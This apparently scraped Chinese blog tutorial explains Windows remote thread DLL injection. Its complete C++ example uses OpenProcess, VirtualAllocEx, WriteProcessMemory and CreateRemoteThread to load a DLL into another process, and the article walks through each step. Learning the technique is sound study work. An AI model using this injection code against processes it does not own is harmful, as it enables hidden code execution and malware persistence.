当前位置: 首页 > article >正文

远程线程注入

注入简单来说就是让别人的程序执行 你想要让他执行的dll

#include<iostream>
#include<Windows.h>
using namespace std;char szBuffer[] ="C:\\Users\\20622\\source\\repos\\Dll1\\Debug\\test.dll";  //dll路径void RemoteThreadInject(DWORD Pid,PCHAR szPath)
{HANDLE hProcess = 0;DWORD dSizeofszPath = strlen(szPath) + 1;LPVOID pDllPath;HANDLE hThread = 0;//第一步打开指定进程获取到指定进程的句柄hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, Pid);if (!hProcess){cout << "OpenProcess error" << GetLastError() << endl;return;}//第二步在指定进程分配内存pDllPath = VirtualAllocEx(hProcess, NULL, dSizeofszPath, MEM_COMMIT, PAGE_READWRITE);if (!pDllPath){cout << "VirtualAllocEx error" << GetLastError() << endl;return;}//第三步在分配出来的内存地址 写入loadlibiary的参数if (!WriteProcessMemory(hProcess, pDllPath, szPath, dSizeofszPath, NULL)){cout << "WriteProcessMemory error" << GetLastError() << endl;return;}//第四步创建远程线程hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)LoadLibraryA, pDllPath, 0, NULL);if (!hThread){cout << "CreateRemoteThread error" << GetLastError() << endl;return;} 
}int main()
{RemoteThreadInject(25804, szBuffer);}

第一步 使用OpenProcess获取目标进程的句柄   

hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, Pid);if (!hProcess){cout << "OpenProcess error" << GetLastError() << endl;return;}

第二步 使用VirtualAllocEx在指定的进程分配内存

pDllPath = VirtualAllocEx(hProcess, NULL, dSizeofszPath, MEM_COMMIT, PAGE_READWRITE);if (!pDllPath){cout << "VirtualAllocEx error" << GetLastError() << endl;return;}

第三步 使用WriteProcessMemory函数在指定进程写入LoadLibiary的参数pDllPath

if (!WriteProcessMemory(hProcess, pDllPath, szPath, dSizeofszPath, NULL)){cout << "WriteProcessMemory error" << GetLastError() << endl;return;}

第四步 使用CreateRemoteThread线程创建远程线程运行LoadLibiary函数

他和CreateThread的区别就是三个参数的形式

这里要注意一下为什么在我们的进程可以直接使用LoadLibiary的地址呢  因为这个地址是所有进程共享来的 我们得到的地址和他的地址是一样的

hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)LoadLibraryA, pDllPath, 0, NULL);if (!hThread){cout << "CreateRemoteThread error" << GetLastError() << endl;return;} 

http://www.lryc.cn/news/2394689.html

相关文章:

  • 如何手搓扫雷(待扩展)
  • 俄军操作系统 Astra Linux 安装教程
  • 第三方软件评测机构如何助力软件品质提升及企业发展?
  • Python打卡训练营Day40
  • 【仿生系统】爱丽丝机器人的设想(可行性优先级较高)
  • JS逆向案例—喜马拉雅xm-sign详情页爬取
  • 钩子函数的作用(register_hook)
  • 电子电路:深入了解CMOS技术构造和工作原理
  • STM32CubeMX定时器配置
  • QNAP MEMOS 域名访问 SSL(Lucky)
  • 跟单业务并发量分析
  • 如何将多张图组合到一张图里同时保留高的分辨率(用PPT+AdobeAcrobat)
  • pycharm找不到高版本conda问题
  • 支持selenium的chrome driver更新到137.0.7151.55
  • 2025年上半年软考系统架构设计师--案例分析试题与答案
  • Eclipse 插件开发 5.2 编辑器 获取当前编辑器
  • 讲述我的plc自学之路 第十二章
  • Visual Studio 的下载安装
  • C# 如何获取当前成员函数的函数名
  • 苍茫命令行:linux模拟实现,书写微型bash
  • 虚拟DOM和DOM是什么?有什么区别?虚拟DOM的优点是什么?
  • 累加法求数列通项公式
  • 鸿蒙NEXT应用加固工具哪家更好?国内主流的6款对比
  • 高效多线程图像处理实战
  • [特殊字符]《计算机组成原理》第 8 章 - CPU 的结构和功能
  • 第八篇:MySQL 备份恢复与数据安全管理实战
  • 系统是win11+两个ubuntu,ubuntu20.04和ubuntu22.04,想删除ubuntu20.04且不用保留数据
  • OramaCore 是您 AI 项目、答案引擎、副驾驶和搜索所需的 AI 运行时。它包括一个成熟的全文搜索引擎、矢量数据库、LLM界面和更多实用程序
  • GitHub 趋势日报 (2025年05月28日)
  • OpenCV CUDA模块图像处理------颜色空间处理之GPU 上交换图像的通道顺序函数swapChannels()